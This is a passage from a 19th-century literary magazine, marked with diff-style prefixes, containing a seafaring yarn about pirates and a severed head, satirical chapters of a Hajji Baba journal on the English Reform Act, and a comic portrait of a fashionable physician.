+same moment,--a sort of summary process to make good women of them; and
+I began to suspect that some of those which we saw at the entrance had
+once touched noses with his most disgusting majesty,--for a filthier
+fellow I never set eyes on. You've, no doubt, seen some of those
+curiously figured heads which grow upon New Zealand shoulders, for many
+have been brought to England: our skipper, who was a sort of collector
+of curiosities, was extremely desirous of obtaining one, but he was
+aware that it was only the head men who were thus marked or tattod,
+and he had run his eye over the samples at the doorway, but could not
+detect one chief who had been deprived of his caput. Nevertheless,
+by signs and through means of a Scotch interpreter, (for the prime
+minister to Longchewfishcow was a Scotchman,) his majesty was informed
+of the captain's wish; and in a short time several natives handsomely
+tattod were drawn up within the building: the skipper was requested
+to select the figures which pleased him most; and he, imagining that
+the chiefs had been exhibited merely by way of pattern, fixed upon one
+whose features appeared to have had pricked off upon them every day's
+run of the children of Israel when cruising in the wilderness. The chief
+bowed in token of satisfaction at being thus highly honoured; but,
+before he could raise his head, it sprang away from his shoulders into
+the captain's arms, with thanks for the compliment yet passing from the
+lips:--the life-guardsman of the king had obeyed his majesty's signal,
+and the dragoon's sabre had made sharp work of it."
+
+"It was quick and dead," said the old master. "Now, Mr. Nugent, you may
+begin your book as soon as you please. I'm sure you have plenty of heads
+to work upon."
+
+"You talk as if I had no head of my own, master," retorted the
+lieutenant, somewhat offended; "and with all your wit you shall find
+that I have got a head."
+
+"So has a scupper-nail," returned the veteran, "but it requires a deal
+of hammering before you can get it to the leather."
+
+"Good-humour, gentlemen! good-humour!" said the captain, laughing; "no
+recriminations, if you please, or we shall bring some of your heads to
+the block."
+
+"To make blockheads of 'em, I suppose," observed old Parallel; "by
+every rope in the top, but that's done already! Howsomever, as you are
+lecturing upon heads, why I'll just relate an anecdote of a circumstance
+that I was eyewitness to upwards of thirty years ago. I was then just
+appointed acting-master of the 'Never-so-quick,' one o' your ould ship
+sloops; and we were cruising in among the West Ingee islands, but more
+especially boxing about the island of Cuba, and that way, for pirates.
+Well, one morning at daybreak the look-out had just got upon the
+foretopsel-yard, when word was passed that there were two sail almost
+alongside of each other, and dead down to looard of us. There was a
+nice little breeze, and so we ups stick, squares the yards, and sets
+the stud'nsels a both sides, to run down and overhaul the strangers,
+though we made pretty certain it was a pirate plundering a capture; and
+we was the more convinced of the fact when broad daylight came, and our
+glasses showed that one of 'em was a long low schooner, just such a one
+as the picarooning marauders risk'd their necks in, and certainly better
+judges of a swift craft never dipp'd their hands in a tar-bucket. She
+saw us a-coming, and away she pay'd off before the wind, and up went a
+squaresel of light duck that dragg'd the creatur along beautifully. The
+other craft, a large brig, lay quite still with her maintopsel to the
+mast, except that she came up and fell off as if her helm was lash'd
+a-lee, Now the best point of the ould Never-so-quick's sailing was right
+afore it, and so we not only held our own, but draw'd upon the vagabond
+thief that was doing his best to slip his head out of a hangman's
+noose, when it fell stark calm, the brig lying about midway between his
+Majesty's ship and the devil's own schooner. Out went her sweeps, and
+out went our boats; but she altered her course to get in shore, and
+without a breath of wind they swept her along at the rate of four knots
+and a half, whilst our ould beauty would hardly move; so the captain
+recalls the boats, and orders 'em to overhaul the brig. We got alongside
+about noon, a regular wasting burning hot noon; and we found a hand cut
+off at the wrist grasping one of the main-chain plates, so that it could
+hardly be disengaged."
+
+"Muscular power!" said Seymour; "the death-grapple, no doubt!
+astonishing tenacity notwithstanding."
+
+"Howsomever, we did open the fingers," continued the master, "and found
+by its delicate whiteness, and a ring on the wedding-finger, that it
+belonged to a woman. When we got on board, the blood in various parts
+of the quarter-deck, and at the gangways, indicated the murderous
+tragedy that had been acted; but no semblance of human being could we
+find except a head,--a bloody head that seemed to have been purposely
+placed upon a flour-cask that was upended near the windlass. 'Well,
+I'm bless'd,' says one of our boasun's-mates, who had steered the
+pinnace,--'I'm bless'd if they arn't shaved you clean enough at any
+rate; but d--my tarry trousers, look at that!--why then I'm a Dutchman
+if it arn't winking at me.'--'Bathershin!' says an Irish topman, 'it's
+stretching his daylights he is, mightily plased to see such good
+company;' and sure enough the eyes were rolling about in a strange
+fashion for a head as had no movables to consort to it; and presently
+the mouth opened wide, and then the teeth snap'd to again, just like
+a cat-fish at St. Jago's. 'It's a horrible sight,' said one of the
+cutters, 'and them fellows'll go to ---- for it, that's one consolation;
+but ain't it mighty queer, sir, that a head without ever a body should
+be arter making such wry faces, and opening and shutting his sallyport,
+seeing as he's scratched out of his mess?' A hideous grin distorted
+every feature,--so hideous that it made me shudder; and first one eye
+and then the other opened in rapid succession. 'I say, Jem,' says one of
+the pinnaces to the boasun's-mate,--'I say, Jem, mayhap the gentleman
+wants a bit o' pig-tail, for most likely he arn't had a chaw since
+he lost his 'bacca-box.' This sally, with the usual recklessness of
+seamen, produced a general laugh, which emboldened Jem to take out his
+quid, and, watching an opportunity, he claps it into between the jaws;
+but before he could gather in the slack of his arm, the teeth were fast
+hold of his fingers, and there he was, jamm'd like Jackson, and roaring
+out ten thousand murders. He tried to snatch his hand away, but the head
+held on to the cask like grim death against the doctor; at last away
+it roll'd over and Jem got clear, but the head stuck fast, and then
+we discovered that there was a body inside. The head of the cask had
+been taken out, and a hole cut hardly large enough to admit of the poor
+fellow's neck; but nevertheless it had been hoop'd up again, and when
+we got on board he was in the last convulsive gasps of strangulation.
+We released him immediately, but it was only to find him so shockingly
+mutilated that he died in about ten minutes afterwards; and not a soul
+was left to tell us the fatal tale, though from an ensign and some
+shreds of papers we conjectured the brig was a Spaniard. The pirates had
+scuttled her. She made water too fast to think of saving her, and in a
+couple of hours she went down."
+
+"Thankye, master, thankye," exclaimed several; "why we shall have you
+writing a book before long, and you'll beat Nugent out and out. See,
+he's ready to yield the palm."
+
+"Him!" uttered the old man, with a look expressive of rather more
+contempt than the young lieutenant merited. "Him!"
+
+"Come, master," said Nugent, "we _must_ have your song,--it is your turn
+next."
+
+"So it appears," replied the old man, as the frigate suddenly heeled
+over. "You have had so much singing that even the winds must have a
+_squall_." They were rising hastily from their seats, when in an instant
+the frigate was nearly thrown on her beam-ends. Away went Parallel
+right over the table into the stomach of the marine Peabody, whom he
+capsized; and before another moment elapsed the gallant captain and his
+officers were scrambling between the guns to leeward, and half buried in
+water, amidst broken decanters and glasses, sea-biscuit and bottles. Old
+Parallel grasped a decanter of port that was clinking its sides against
+a ring-bolt, and, unwilling that so much good stuff should be wasted,
+clapped the mouth to his own; the purser was fishing for his wig, as he
+was extremely tenacious on the score of his bald head; the captain and
+Seymour were trying for the door; the doctor got astride one gun, and
+the two marine officers struggled for the other, so that as fast as one
+got hold his messmate unhorsed him again. Sinnitt had crawled up to the
+table, and Nugent twisted his coat-laps round him to preserve his MS.
+from becoming saturated. The frigate righted again. His lordship and his
+lieutenants rushed on deck, to behold the three topmasts, with all their
+lengths of upper spars, hanging over the side, having in a white squall
+been snapped short off by the caps. We will leave them in the present to
+
+          "Call all hands to clear the wreck."
+
+
+
+
+                   REMAINS OF HAJJI BABA.
+
+It appears that Hajji Baba, the Persian adventurer, known in this
+country as the author of certain memoirs, is no more. In what particular
+manner he quitted this world, we have not been able to ascertain; but,
+through the kindness of a friend recently returned from the East, we
+have been put in possession of the fragment of a Journal written by him,
+by which we learn that he once again visited England (although incog.)
+some time after the passing of the Reform bill. The view which he, his
+Shah, and his nation, took of that event, is so characteristic of the
+ignorance in which Eastern people live in matters relative to Europe,
+and to England in particular, that we deem ourselves fortunate in being
+able to lay so curious a document before our readers, and shall take
+the liberty, from time to time, to insert portions of it, until it be
+entirely exhausted.
+
+
+                         CHAPTER I.
+
+Since my return from Frangistan, the current of my existence flowed more
+like the waters of a canal than those of a river. I have been allowed to
+smoke the pipe of tranquillity, rested upon the carpet of content; and
+as my duties, which principally consisted in standing before the king
+at stated times, and saying "_Belli_--Yes," and "_Mashallah_--Praise
+be to God!" at proper intervals, I could not complain of the weight of
+responsibility imposed upon me.
+
+I lived in the smallest of houses, consisting of one room, a sh
+closet, and a small court; also of a kitchen. My principal amusement
+was to sit in my room and look into my court-yard, and, as one must
+think, my thoughts frequently would run upon my travels, upon the
+strange things which I had seen, and upon the individuals with whom I
+had become acquainted. My heart would soften as it dwelt upon the charms
+of the moon-faced Bessy, and would rouse into anger when I reflected
+that she was possessed by the infidel Figsby, at a time that she might
+have been the head of the harem of a true believer. I frequently
+recalled to myself all the peculiarities of the strange nation with
+which I had lived, and compared it with my own. I brought to mind all
+its contrivances to be happy, its House of Commons and its House of
+Lords, its eternal quarrels, its cryings after "justice and no justice,"
+and its dark climate. I read over my journals, and thus lived my life
+over again; but in proportion as years passed away, so I thought it
+right, in relating my adventures to my countrymen, to diminish the most
+wonderful parts of my narrative, for I found that, had I not done so, I
+should have been set down as the greatest liar in Persia. Truth cannot
+be told at all times,--that is a common saying; but now I found, in
+what regarded the Francs, that truth ought never to be told. When,
+on my return to Persia, I informed my countrymen that their men and
+women lived together promiscuously,--that everybody drank wine and ate
+pork,--that they never prayed,--that their kings danced, and that they
+had no harems, I was believed, because I had many to confirm what I
+said; but now that I stood alone, I found it would not do to venture
+such assertions, for whenever I did I was always told that such events
+might have taken place when I was in Frangistan, but that now Allah was
+great, and that the holy Prophet could not allow such abominations to
+exist.
+
+The news of the death of the King of England, to whom I had been
+presented, had reached the ears of our Shah; and we were informed that
+he was succeeded by his brother, a lord of the sea. Years passed away,
+with all their various events, without much intercourse taking place
+between Persia and England. England required no longer the friendship of
+the Shah, and she therefore turned us over to the Governor of India, for
+which she duly received our maledictions; and every one who knew upon
+what a footing of intimacy the two nations had stood, said, as he spat
+upon the ground, "Pooh! may their house be ruined!" She left our country
+to be conquered, our finest provinces to be taken from us, and never
+once put her hand out to help us.
+
+However, _Allah buzurg est!_--God is great! we soon found that the good
+fortune of the king of kings had not forsaken him. Rumours began to be
+spread abroad that affairs in England were in a bad way. Many foreigners
+had enlisted themselves in the Shah's troops, and from them we learned
+that, no doubt, ere long that country must be entirely ruined, for great
+dangers threatened their present king. He was said to have got into the
+possession of a certain rebellious tribe, whose ultimate aim was to set
+up a new sovereign, called 'People Shah,' and to depose him and his
+dynasty. We heard that great poverty reigned in that land, which I had
+known so rich and prosperous; and that every department in the state had
+been so reduced, that the king had not a house to live in, but that the
+nation was quarrelling about the expense of building him one.
+
+We still had an English _elchi_ at our court, but he enjoyed little
+or no consideration; and the news of the poverty of his country was
+confirmed to us by what we learnt from his secretaries. Orders, it
+seems, had just arrived from his court that every economy should be
+observed in his expenses; and one may suppose to what extent, when we
+are assured that, by way of saving official ink, it had been strictly
+prohibited to put dots to the _I_'s, or strokes to the _T_'s. Presents
+of all sorts were done away with:--the ambassador would not even
+receive the common present of a water-melon, lest he should be obliged
+to send one in return; and his whole conduct seemed more directed
+by the calculations of debtor and creditor, like a merchant, than by
+the intercourse of courtesy which ought to take place between crowned
+heads. Some wicked infidels of French would whisper abroad, that kings
+in Europe, like Saadi at Tabriz, were now become less than dogs, and
+that therefore their representatives had no dignities to represent;
+the English _elchi_, however, would not allow this, but gave us other
+reasons for the economy practised in his country, stating that, although
+every one allowed that such policy was full of mischief, yet that it
+was necessary to humour the whim of this People Shah, who aspired to
+the crown, and whose despotism was greater than even that of our famous
+Nadir Shah.
+
+When I appeared at the King's Gate, and took my seat among the minor
+officers who awaited the presence of the vizier previously to his going
+before the Shah, the enemies of England, of whom there were many, would
+taunt me with the news spread to her disadvantage, for I was looked upon
+as a Frangi myself.
+
+"After all," said one, "own, O Hajji! that these Ingliz are an unclean
+generation; that it is quite time they should eat their handful of
+abomination."--"We are tired of always hearing them lauded," said
+another. "Praised be the Prophet! that little by little we may also
+defile their fathers' graves, and point our fingers at their mothers."
+
+"Why address me, O little man?" said I. "Am I their father, mother,
+brother, or uncle, that you address me?--It was my destiny to go
+amongst them; it was my destiny to come back. A fox ds not become a
+swine because he gs through the ordure of the sty in search of his
+own affairs. Let their houses be bankrupt, let their fathers grill in
+Jehanum--what is that to me?"
+
+"What words are these?" said a third. "Your beard has changed its
+colour. What are become of your guns that would reach from Tehran to Kom
+placed side by side, or to Ispahan placed lengthwise? Where now are your
+ships that spout more fire than Demawand, and your women like houris
+that can read and write like men of the law? Formerly there was nothing
+in the world like Francs; now you look upon them as dirt."
+
+Had I persisted in upholding my Ingliz friends, now that the tide had
+turned against them, I should have done them no good, and myself harm;
+therefore I applied the cotton of deafness to the ear of unwillingness.
+Most true, however, it was that they daily lost in public estimation;
+and rumours of the approaching downfal of English power and prosperity
+came to us from so many quarters, that we could not do otherwise than
+believe them. Whenever an Englishman now appeared in the streets, he was
+called pig with impunity; and, instead of the bastinado which the man
+who so insulted him formerly was wont to get, he now was left to repeat
+the insult at his leisure.
+
+The fact principally urged was, that a disorder had broken out amongst
+them, which affected the brain more than any other organ; that it had
+taken possession of high and low, rich and poor, master and servant; and
+raged with such violence, that it was almost dangerous to go amongst
+them, although strangers were said not to catch it. It was neither
+cholera, plague, nor heart-ache, and could not be assimilated to any
+known disorder in the East. We have no name for it in Persia; in England
+it is called _Reform_: and, as it had suddenly attacked the country when
+in a state of great health and prosperity, it was supposed that some one
+great evil eye had struck it, and that therefore no one could foresee
+what might be its mischievous results.
+
+
+                         CHAPTER II.
+
+Whilst seated one morning in my room, inspecting my face in my
+looking-glass and combing my beard, preparatory to going to the daily
+selam before the king, and thanking Allah from the bottom of my heart
+for being secure in my mediocrity from all the storms and dangers of
+public life, a loud knocking at my gate announced a visiter of no small
+importance. My servant, for I kept one, quickly opened it, and I soon
+was greeted by the _selam al aikum_ of one of the royal ferashes, who
+exclaimed "The Shah wants you."
+
+So unusual a summons first startled, then alarmed me. A thousand
+apprehensions rushed through my mind as quick as lightning, for on such
+occasions in Persia one always apprehends--one never hopes. However,
+I immediately gave the usual "_Becheshm!_--Upon my eyes be it!" and
+prepared to obey his command. "Can I have said '_Belli_' in the wrong
+place," thought I, "at the last selam? or did I perchance exclaim
+'_Inshallah_--Please God,' instead of saying '_Mashallah_--Praise be to
+God'? Allah only knows," thought I, shrugging up my shoulders, "for I am
+sure I do not. Whatever has happened, Khoda is merciful!"
+
+I followed the ferash, but could gain no intelligence from him which
+could in the least clear up my doubts. One thing I discovered, which was
+that no _felek_, or sticks, had been displayed in the Shah's presence as
+preparatory to a bastinado; and so far I felt safe.
+
+The Shah was seated in the _gulistan_, or rose-garden; the grand vizier
+stood before him, as well as Mirza Firooz, my old master. When I
+appeared, all my apprehensions vanished, for with a goodnatured voice
+the king ordered me to approach. I made my most profound bow, and stood
+on the brink of the marble basin without my shs.
+
+The king said, "_Mashallah!_ the Hajji is still a _khoobjuan_--a fine
+youth; he is a good servant."
+
+Upon hearing these ominous words, I immediately felt that some very
+objectionable service was about to be required of me. I answered,
+
+"May the shadow of the centre of the universe never be less! Whatever
+your slave can do, he will by his head and by his eyes."
+
+After consulting with the grand vizier, who was standing in the
+apartment in which the king was seated, his majesty exclaimed,
+
+"Hajji, we require zeal, activity, and intelligence at your hands.
+Matters of high import to the state of Persia demand that one, the
+master of wit, the lord of experience, and the ready in eloquence,
+should immediately depart from our presence, in order to seek that of
+our brother the King of England. You are the man we have selected; you
+must be on horseback as soon as a fortunate hour occurs, and make your
+way _chappari_--as a courier, to the gate of power in London."
+
+With my thanks for so high an honour sticking in my throat, I knelt
+down, and kissed the ground; but if any one present had been skilful in
+detecting the manning of looks, surely he would have read dismay and
+disappointment in mine.
+
+"It is plain," said the Shah, turning towards the vizier and Mirza
+Firooz occasionally as he spoke, "from all that has been reported to us,
+that England, as it is now, is not that England of whose riches, power,
+and prosperity so much has been said. It has had its day. It is falling
+fast into decay. Its men are rebellious. Its ancient dynasty ere this
+may have been supplanted by another, and its king a houseless wanderer."
+
+"_Belli! belli!_" said the vizier and Mirza Firooz.
+
+"In the first place," continued the Shah, "you must acquaint the king,
+my brother, if such he still be, that the gate of the palace of the king
+of kings is open to all the world; it is an asylum to kings as well
+as to beggars; the needy find a roof, and the hungry food. Should the
+vicissitudes of life, as we hear they are likely to do, throw him on the
+world, tell him he will find a corner to sit in near our threshold; no
+one shall molest him. He shall enjoy his own customs, saving, always,
+eating the unclean beast; wine shall he have, and he will be allowed
+to import his own wives. He may sit on chairs, shave whatever parts
+of his body he likes, wear a shawl coat, diamond-beaded daggers, and
+gold-headed furniture to his horse. Upon all these different heads make
+his mind perfectly easy."
+
+"Upon my eyes be it!" I exclaimed, with the profoundest respect.
+
+"In the next place," said the king, "we have long heard that England
+possesses a famous general, a long-tried and faithful servant to his
+king. If he be a good servant, he will stick by his master in his
+distress. You must see him, Hajji, and tell him from the lips of the
+king of kings that he will be welcome in Persia; that he will find
+protection at our stirrup, and, _Inshallah!_ he will be able to make his
+face white before us. Whatever else is necessary to our service will be
+explained to you by our grand vizier," said the Shah; and then, after
+making me a few more complimentary speeches, I was dismissed.
+
+When I left the presence, I could not help thinking that the Shah must
+be mad to send me upon so long a journey upon so strange an expedition;
+and I inferred that there must be something more in it than met the eye.
+I was not mistaken. No sooner had the grand vizier been dismissed than
+he called me into his _khelvet_, or secret chamber, and there unfolded
+to me the true object of my mission.
+
+"It is plain," said he, with the most unmoved gravity, "that the graves
+of these infidels have been defiled, and that ere long there will be
+an end of them and their prosperity. We must take advantage of their
+distress. Much may be done by wisdom. In the first place, Hajji, we
+shall get penknives and broad-cloth for nothing, that is quite clear;
+then, spying-glasses and chandeliers, for which they are also famous,
+may be had for the asking; and--who knows?--we may obtain the workmen
+who manufactured them, and thus rise on the ruins of the infidels. All
+this will mainly depend upon your sagacity. Then the Shah, who has
+long desired to possess some English slaves in his harem, has thought
+that this will be an excellent moment to procure some, and you will be
+commissioned to buy as many as you can procure at reasonable prices.
+Upon the breaking up of communities at the death of kings and governors,
+we have always found, both in Iran and Turkey, that slaves and virgins
+were to be bought for almost nothing; and, no doubt, that must be the
+case among Francs."
+
+I was bewildered at all I heard; and thus at once to be transformed from
+a mere sitter in a corner to an active agent in a foreign country, made
+my liver drop, and turned my face upside down.
+
+"But, in the name of Allah," said I, "is it quite certain that this ruin
+is going on in England? I have not read that wise people rightly, if so
+suddenly they can allow themselves to be involved in misery."
+
+"What words are these?" said the vizier. "Everybody speaks of it as the
+only thing certain in the world. Their own _elchi_ here allows it, and
+informs everybody that a great change is going to take place in his
+government. And is it not plain, that, if under their last government
+they have reached the height of prosperity, a change must lead them to
+adversity?"
+
+"We shall see," said I; "at all events, I am the Shah's servant;
+whatever he orders I am bound to obey."
+
+"It is evident the good fortune of that country," exclaimed Mirza
+Firooz, who was present also, "has turned ever since it abandoned Persia
+to follow its own selfish views. Did I not say so a thousand times to
+the ministers of the king of England; but they would not heed me?"
+
+"Whatever has produced their misfortunes, Allah only knows," said the
+grand vizier; "it is as much their duty to submit, as it is ours to take
+advantage of them. We must do everything to secure ourselves against
+the power of our enemies. You must say to the King of England that the
+asylum of the universe is ready to do everything to assist him; and,
+as he is a man of the sea, you will just throw out the possibility
+of his obtaining a command of the Shah's _grab_ (ship of war) in the
+Caspian Sea. As for the famous general of whom the Shah spoke, (may the
+holy Prophet take him in his holy keeping!) when once we have obtained
+possession of him, _Inshallah!_ not one Russian will we leave on this
+side the Caucasus; and it will be well for them if we do not carry our
+arms to the very walls of Petersburg."
+
+To all these instructions all I had to say was, "Yes, upon my eyes be
+it!" and when I had fully understood the object of my mission, I took my
+departure, in order to make preparations for my journey.
+
+
+
+
+                     THE PORTRAIT GALLERY.
+
+Physiognomy is the most important of all studies. Well versed in this
+science, no man will be cursed with a scolding wife, a pilfering
+servant, or an imbecile teacher for the offspring of his connubial
+felicity. It has ever been my favourite pursuit; and, when a child, I
+would not have tossed up with a pieman if he had exhibited a crusty
+countenance. Lavater's immortal works are my _vade mecum_, and I have
+carefully collected engraved portraits to discover the character of
+every individual the limner had painted ere I read their lives. I lately
+found that the Marquis of ---- had pursued a similar plan. His splendid
+gallery of pictures is well known in all Europe; but his collection
+of portraits at his favourite seat in ---- has been seen but by a few
+privileged persons, and I, fortunately, was one of the number, having
+been taken to his delightful mansion by his librarian, an old college
+_chum_.
+
+Over the entrance of this gallery is an allegorical painting by
+Watteau, or Lancret, which my guide explained. On the summit of a rock,
+apparently of granite, and older than the Deluge, rose the Temple of
+Fame. The paths that led to it, were steep and intricate, difficulties
+that were not foreseen by the travellers tempted to thread this
+labyrinth by the roseate bowers that formed their entrance, inviting the
+weary pilgrim to seek a soft repose in their refreshing shade. But when
+he awoke from his peaceful slumber and delicious visions, renovated and
+invigorated, to pursue his journey, the scene soon changed; brambles,
+bushes, and tangling weeds impeded his path; and, despite the apparent
+solidity of the ground he trod, quicksands and moving bogs would often
+dishearten the most adventurous. Numerous were the travellers who
+strove to ascend the height, but few attained its wished-for summit;
+while many of them, overcome with fatigue, and despairing of success,
+stopped at some of the houses of reception, bad, good, and indifferent,
+that they found on the road-side.
+
+However, the back part of the acclivity presented a different prospect.
+There, the rock formed a terrific precipice, that no one could ascend
+by the ordinary means of locomotion. A balloon at that period had not
+been invented; yet I beheld a good number of visitors merrily hopping
+over the flowery mead that led to the temple, culling posies and running
+after butterflies, and in hearty fits of laughter on beholding the poor
+pilgarlicks who were puffing and blowing in vain to climb up the other
+face of the hill. The success of these fortunate adventurers amazed me,
+until my _cicerone_ pointed out to me, a personage fantastically dressed
+in the height of fashion, bewhiskered and moustached, hoisting up his
+favourite companions with a rope, securely fastened to the brink of the
+cliff. This individual, I found, was a brother of the goddess, and his
+name was _Effrontus_. His sister had long endeavoured to rid herself of
+his importunities, and had frequently complained to Jupiter to send the
+knave out of the country; but the fellow had so ingratiated himself at
+court,--more especially with the ladies, one of whom, by name _Famosa_,
+supported him in all his extravagancies,--that he snapped his fingers at
+his sister, and, by means of a latch-key, (forged by Vulcan as a reward
+to Mercury for his vigilance over his wife, when he was obliged to be
+absent in his workshop,) he could admit his impertinent cronies into
+the very _sanctum_ of her abode, where they not only revelled in every
+luxury, but actually sent out their scouts and tigers to increase the
+obstacles that rendered the roads up the hill more impracticable, and
+terrify by alarming reports the timid voyagers who were struggling up
+the rugged steep. The contrast between these adventurers was curious.
+The creatures of _Effrontus_, whom he had hoisted up, were all clad in
+cloth of gold, or in black suits of silk and broadcloth, and some of
+them wore large wigs of various forms and dimensions; while the poor
+pilgrims were all in tatters, and, to all appearance, not rich enough to
+purchase wigs, although they most needed them, as they were nearly all
+bald or greyheaded. Howbeit, these fortunate candidates for celebrity
+were not always prosperous; for the height they had ascended, swinging
+to and fro by the rope of _Effrontus_, like boys bird-nesting in the
+Isle of Wight, suspended from the cliff, frequently made them giddy,
+and occasioned vertigs and dimness of sight, in consequence of which
+they would sometimes fall over the precipice when they fancied they were
+roaming about in security, and were dashed to pieces in the very dirty
+valley where not long before they had grovelled.
+
+This allegory appeared to me ingenious; but when my guide opened
+the door, and I found myself in a room hung round with portraits of
+celebrated physicians, I observed that the painting was most applicable
+to the gallery. My companion smiled at my remark, and proceeded to
+describe some of the doctors whose likenesses I beheld. He said "This
+gentleman, so finically dressed, with powdered curls, Brussels lace
+frills and ruffles, was the celebrated DR. DULCET. You may perceive that
+a smile of self-complacency plays on his simpering countenance, yet his
+brow portrays some anxious cares, arising from inordinate vanity; and
+those furrows on the forehead show that, fortunate as he may have been,
+ambition would sometimes ruffle his pillow.
+
+Dulcet was of a low origin, and his education had been much neglected;
+however, he possessed a good figure, handsome features, and a tolerable
+share of impudence. When an apothecary's apprentice, his advantageous
+points had been perceived by a discriminating duchess, who sent him to
+Aberdeen to graduate; and shortly after his return, he was introduced
+to royalty and fashion. Aware of the fickleness of Fortune, and well
+acquainted with the miseries that attend her frowns, he displayed a tact
+in courting the beldame's favour that would have done honour to the most
+experienced and _canny_ emigrant from the Land of _Cakes_ roving over
+the world in search of _bread_. He commenced his career, by courting
+the old and the ugly of the fair sex, and devoting his _petits soins_
+soon to all the little urchins whom he was called to attend. Handsome
+women he well knew were satiated with adulation, whereas flattery was a
+god-send to those ladies who were not so advantageously gifted: these
+he complimented on their intellectual superiority, their enlightened
+mind, "that in itself contains the living fountains of beauteous and
+sublime." Though the object of his attentions never opened a book,
+save and excepting the Lady's Magazine, or read any thing but accounts
+of fashionable _fracas_, offences, and births, deaths, and marriages
+in the newspapers, he would discourse upon literature and arts, bring
+them publications as intelligible to them as a Hebrew Talmud, ask their
+opinion of every new novel or celebrated painting,--any popular opera
+or favourite performer. If the lady had children, the ugliest little
+toad was called an angel; and such of the imps who had been favoured by
+nature in cross-breeding, he would swear were the image of their mother.
+To court the creatures, he constantly gave them sugar-plums (which
+afforded the double advantage or ministering to their gluttony and to
+his friend the apothecary); while he presented them with _pretty_ little
+books of _pictures_, and _nice_ toys. He had, moreover, a happy knack
+of squeezing out a sympathetic tear from the corner of his eye whenever
+the brat roared from pain or perversity; and on those occasions he would
+screw his eyes until the crystal drop was made to fall upon the mother's
+alabaster hand. It is needless to add, that the whole _coterie_ rang
+with the extreme sensibility, the excellent heart of the dear doctor,
+who had saved the darling's life, although nothing had ailed the sweet
+pet but an over-stuffing.
+
+Another quality recommended him to female protection. Husbands and
+father she ever considered as intruders in a consultation: he merely
+looked upon them as the bankers of the ladies. It is true that, after
+a domestic breeze, his visits were sometimes dispensed with for a
+short time; but dreadful hysterics, that kept the whole house in an
+uproar both night and day, soon brought back the doctor, who was the
+only person who knew _my lady's_ constitution, and on these occasions
+the lady's lord was too happy to take his hat and seek a refuge at
+Crockford's, or some other consolatory refuge from nerves. It was
+certainly true that Dulcet had made many important discoveries in the
+treatment of ladies' affections. For instance, he had ascertained that
+a pair of bays were more effectual in curing spasms, than chestnuts
+or greys, unless his patient preferred them. Then, again, he was
+convinced that Rundell and Bridge kept better remedies than Savory
+and Moore: a box at the Opera was an infallible cure for a headache;
+and the air of Brighton was absolutely necessary when its salutary
+effects were increased by the breath of Royalty. Cards he looked upon as
+indispensable, to prevent ladies from taking laudanum; and a successful
+game of _écarté_ was as effectual an opiate, as extract of lettuce,--one
+of his most favourite drugs.
+
+In this career of prosperity, a circumstance arose that for a time
+damped his ardour. Dulcet had attended an East-Indian widow, the wealthy
+relict of a civil servant of the Company. Her hand and fortune would
+have enabled the doctor to throw physic to the dogs, and all the nasty
+little brats whom he idolised after it. He had succeeded in becoming a
+great favourite. The disconsolate lady could not eat, drink, or sleep,
+without giving him his guinea. She scarcely knew at what end she was to
+break an egg, or how many grains of salt she could safely put in it,
+without his opinion; but, unfortunately, there was a certain colonel,
+an old friend of her former husband, who was a constant visitor, and
+who seemed to share with her medical attendant the lady's confidence.
+Though Dulcet ordered her not to receive visitors when in a nervous
+state, somehow or other the colonel had been admitted. On such occasions
+he would shake his head in the most sapient manner, and observe that
+the pulse was much agitated; but he did not dare forbid these (to him)
+dangerous visits, and therefore endeavoured to attain his ends by a
+more circuitous route, and gain time until the colonel's departure for
+Bengal afforded him the vantage-ground of absence. The widow would
+sometimes complain of her moping and lonely life. On these occasions
+Dulcet would delicately hint that at some _future period_ a change of
+condition might be desirable, and the widow would then sigh deeply,
+and perchance shed a few tears, (whether from the recollection
+of her dear departed husband, or the idea of the '_future period_' of
+this change of condition,--a _futurity_ which was _sine die_,--I cannot
+pretend to say); but the doctor strove to impress upon her mind, that
+in her _present_ delicate state, the cares of a family, the pangs of
+absence, the turmoil of society, would shake her 'too tender frame' to
+very atoms, while the slightest shadow of an unkind shade would break
+her sensitive heart; whereas a _leetle_ tranquillity would soon restore
+her to that society of which she was considered the brightest ornament!
+And then the sigh would become still deeper, and the tears would trickle
+down her pallid cheek with increased rapidity, until Dulcet actually
+fancied that 'the Heaven-moving pearls' were not beaded in sorrow,
+but were 'shed from Nature like a kindly shower.' Still he knew the
+sex too well, to venture upon so delicate a subject as matrimonial
+consolation; and he, with no little reluctance, parted with a few fees
+to obtain some intelligence regarding the lady's toilet-thoughts and
+conversation with her favourite woman, a certain cunning abigail named
+Mercer. Mercer was of course subject to nervous affections, which she
+caught from her mistress; and Dulcet was as kind to the maid as to
+her lady, well knowing that as no hero is a great man in the eyes of
+his valet, no widow was crystalised with her waiting-maid. The visits
+of the colonel had not been as frequent as usual; nay, Dulcet fancied
+that he was received with some coolness, and on this important matter
+Mercer was prudently consulted. The result of the conference fully
+confirmed the doctor's fondest hopes; for he learnt from Mercer that
+'her missus liked him above all and was never by no means half as fond
+of the colonel, as she knew for certain that those soldier-officers
+were not better than they ought to be, and there were red-rags on every
+bush.' This communication, although made with cockney vulgarity, had a
+more powerful effect upon the doctor than had he heard Demosthenes or
+Cicero; and he could have embraced the girl with delight and gratitude
+had he dared it,--but she was handsomer than her mistress; he, moreover,
+fancied that such a condescension might tempt the girl's vanity to
+boast of the favour; but he gave her something more substantial than a
+kiss,--a diamond ring that graced his little finger, and which he always
+displayed to advantage when feeling a tender pulse.
+
+Dulcet now altered his plan of campaign, redoubled his assiduity,
+assured the widow that she was fast recovering her pristine strength
+and healthy glow, and recommended her to shorten the 'futurity of the
+period' he had alluded to; assuring her that _now_ the cares of a
+family would give her occupation, and society once more would hail her
+presence with delight. In her sweet smiles of satisfaction he read his
+future bliss and independence. The colonel never came to the house; and,
+one day, our doctor was on the point of declaring the purity and the
+warmth of his affection, when the widow rendered the avowal needless,
+informing him that she had resolved to follow his _kind advice_, and
+that the ensuing week she was to be married to THE COLONEL, who had
+gone down into the country to regulate his affairs. The blow fell upon
+Dulcet like an apoplexy. Prudence made him conceal the bitterness of
+his disappointment, and even induced him to be present at the wedding
+breakfast; though his appetite was doubly impaired when he found that
+Miss Mercer had married the colonel's valet, and he beheld his diamond
+guarding her wedding-ring, while an ironical smile showed him, what
+little faith was to be reposed in ladies' women.
+
+The report of this adventure entertained the town for nine days; but
+on the tenth, through the patronage of his protectresses, Dulcet was
+dubbed a knight, and soon after married a cheesemonger's daughter, ugly
+enough to have a hereditary claim to virtue; but who possessed an ample
+fortune, and was most anxious to become a lady.
+
+The librarian was proceeding to give me an account of the next
+personage, a Dr. Cleaver, when the bell rung for dinner, and we
